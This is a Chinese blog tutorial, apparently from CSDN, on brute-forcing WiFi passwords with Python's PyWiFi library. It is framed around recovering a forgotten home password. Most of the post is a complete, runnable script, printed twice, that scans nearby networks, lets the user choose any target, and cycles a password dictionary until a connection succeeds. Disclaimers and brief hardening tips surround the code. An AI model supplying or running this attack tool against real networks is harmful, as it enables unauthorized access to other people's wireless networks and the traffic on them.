开开心心放假回家，结果忘记老家wifi密码新买的手机连不上WiFi？不用慌，pywifi来拯救你。

🧑 博主简介：现任阿里巴巴嵌入式技术专家，15年工作经验，深耕嵌入式+人工智能领域，精通嵌入式领域开发、技术管理、简历招聘面试。CSDN优质创作者，全网11W+粉丝博主，提供产品测评、学习辅导、简历面试辅导、毕设辅导、项目开发、C/C++/Java/Python/Linux/AI等方面的服务，同时还运营着十几个不同主题的技术交流群，如有需要请站内私信或者联系VX（gylzbk），互相学习共同进步。

本文介绍了如何使用 PyWiFi 模块实现暴力破解 WiFi 的方法。尽管技术本身具有一定的研究价值，但我们必须谨记，任何非法的网络入侵行为都是不可取的，并且可能违反法律法规。通过了解这些原理，我们可以更好地保护自己的无线网络，提升安全意识。

简介

无线路由器是现代网络中不可或缺的设备，WiFi 作为无线通信协议广泛应用于家庭、办公以及公共场所。安全性始终是无线网络的重要问题之一。虽然暴力破解 WiFi 密码并不道德，但了解其工作原理能够帮助我们更好地保护自身网络安全。

本文将介绍如何使用 Python 和 PyWiFi 模块尝试暴力破解 WiFi 密码。请注意，这篇文章仅供学习和研究使用，希望大家遵守相关法律法规，不要恶意使用该技术。

环境准备

安装必要的库

首先，我们需要安装 PyWiFi 库。确保你已经安装了 Python 环境，可以使用 pip 安装 PyWiFi：

pip install pywifi

检查无线网卡

确保你的计算机配有无线网卡，并且该无线网卡支持使用 PyWiFi 库进行操作。

实现暴力破解 WiFi

主要步骤

1. 扫描附近的 WiFi 网络。
2. 尝试使用字典文件中的密码连接目标 WiFi。
3. 检查连接状态来判断密码是否正确。

扫描 WiFi 网络

import pywifi
from pywifi import const
import time

def scan_wifi():
    wifi = pywifi.PyWiFi()  # 初始化无线网卡接口
    iface = wifi.interfaces()[0]  # 选择第一个无线网卡
    iface.scan()  # 扫描附近的 WiFi
    time.sleep(5)  # 等待扫描结果
    scan_results = iface.scan_results()  # 获取扫描结果

    networks = []
    for result in scan_results:
        networks.append((result.ssid, result.signal))
    return networks

这个函数初始化 WiFi 接口并扫描附近的 WiFi 网络。扫描结果包括网络名称（SSID）和信号强度。

尝试连接 WiFi

def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 初始化无线网卡接口
    iface = wifi.interfaces()[0]  # 选择第一个无线网卡
    
    iface.disconnect()  # 断开当前连接
    time.sleep(1)
    if iface.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()  # 创建 WiFi 配置文件
        profile.ssid = ssid  # 设置要连接的 WiFi SSID
        profile.auth = const.AUTH_ALG_OPEN  # 设置认证方式
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置加密类型
        profile.cipher = const.CIPHER_TYPE_CCMP  # 设置密码类型
        profile.key = password  # 设置密码

        iface.remove_all_network_profiles()  # 删除所有配置文件
        tmp_profile = iface.add_network_profile(profile)  # 添加新的配置文件

        iface.connect(tmp_profile)  # 连接
        time.sleep(5)  # 等待连接
        
        if iface.status() == const.IFACE_CONNECTED:
            return True
    return False

这个函数用于尝试连接到指定的 WiFi 网络。如果连接成功，返回 True；否则返回 False。

挂载字典进行暴力破解

创建一个包含常见密码的字典文件，例如 dictionary.txt：

password123
12345678
qwertyuiop
letmein123
...

然后使用以下代码对目标 WiFi 进行暴力破解：

def wifi_bruteforce(ssid):
    with open('dictionary.txt', 'r') as file:
        passwords = file.readlines()
    
    for password in passwords:
        password = password.strip()
        print(f'Trying password: {password}')
        if connect_wifi(ssid, password):
            print(f'Success! The password is: {password}')
            return True
    print('Password not found in dictionary.')
    return False

if __name__ == "__main__":
    available_networks = scan_wifi()
    if not available_networks:
        print('No WiFi networks found.')
    else:
        print("Available networks:")
        for index, network in enumerate(available_networks):
            print(f"{index+1}: {network[0]} (Signal: {network[1]})")
        
        target_index = int(input("Select the network to brute-force (input number): ")) - 1
        target_ssid = available_networks[target_index][0]
        
        print(f'Starting brute-force on {target_ssid}')
        wifi_bruteforce(target_ssid)

代码解析

1. 扫描 WiFi ：scan_wifi 函数扫描并获取附近的 WiFi 网络，展示给用户选择。
2. 连接 WiFi ：connect_wifi 函数使用指定的 SSID 和密码尝试连接 WiFi。
3. 暴力破解 ：wifi_bruteforce 函数加载密码字典文件，逐一尝试密码，直至找到正确密码或尝试完所有密码。
4. 主程序 ：用户选择目标 WiFi 网络后，程序调用 wifi_bruteforce 函数进行暴力破解。

完整代码

以下是上述所有代码的整合：

import pywifi
from pywifi import const
import time

def scan_wifi():
    wifi = pywifi.PyWiFi()  # 初始化无线网卡接口
    iface = wifi.interfaces()[0]  # 选择第一个无线网卡
    iface.scan()  # 扫描附近的 WiFi
    time.sleep(5)  # 等待扫描结果
    scan_results = iface.scan_results()  # 获取扫描结果

    networks = []
    for result in scan_results:
        networks.append((result.ssid, result.signal))
    return networks

def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 初始化无线网卡接口
    iface = wifi.interfaces()[0]  # 选择第一个无线网卡
    
    iface.disconnect()  # 断开当前连接
    time.sleep(1)
    if iface.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()  # 创建 WiFi 配置文件
        profile.ssid = ssid  # 设置要连接的 WiFi SSID
        profile.auth = const.AUTH_ALG_OPEN  # 设置认证方式
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置加密类型
        profile.cipher = const.CIPHER_TYPE_CCMP  # 设置密码类型
        profile.key = password  # 设置密码

        iface.remove_all_network_profiles()  # 删除所有配置文件
        tmp_profile = iface.add_network_profile(profile)  # 添加新的配置文件

        iface.connect(tmp_profile)  # 连接
        time.sleep(5)  # 等待连接
        
        if iface.status() == const.IFACE_CONNECTED:
            return True
    return False

def wifi_bruteforce(ssid):
    with open('dictionary.txt', 'r') as file:
        passwords = file.readlines()
    
    for password in passwords:
        password = password.strip()
        print(f'Trying password: {password}')
        if connect_wifi(ssid, password):
            print(f'Success! The password is: {password}')
            return True
    print('Password not found in dictionary.')
    return False

if __name__ == "__main__":
    available_networks = scan_wifi()
    if not available_networks:
        print('No WiFi networks found.')
    else:
        print("Available networks:")
        for index, network in enumerate(available_networks):
            print(f"{index+1}: {network[0]} (Signal: {network[1]})")
        
        target_index = int(input("Select the network to brute-force (input number): ")) - 1
        target_ssid = available_networks[target_index][0]
        
        print(f'Starting brute-force on {target_ssid}')
        wifi_bruteforce(target_ssid)

安全建议

理解暴力破解 WiFi 的原理能够帮助我们在日常生活中更好地保护无线网络的安全。以下是一些建议：

1. 使用强密码：避免使用常见的、容易被猜到的密码。
2. 定期更换密码：定期更新 WiFi 密码以增加安全性。
3. 使用 WPA3 加密：尽量使用最新的无线加密技术（如 WPA3），提高安全性。
4. 隐藏 SSID：隐藏 WiFi 网络名称（SSID），减少被攻击的可能性。

结论

本文介绍了如何使用 PyWiFi 模块实现暴力破解 WiFi 的方法。尽管技术本身具有一定的研究价值，但我们必须谨记，任何非法的网络入侵行为都是不可取的，并且可能违反法律法规。通过了解这些原理，我们可以更好地保护自己的无线网络，提升安全意识。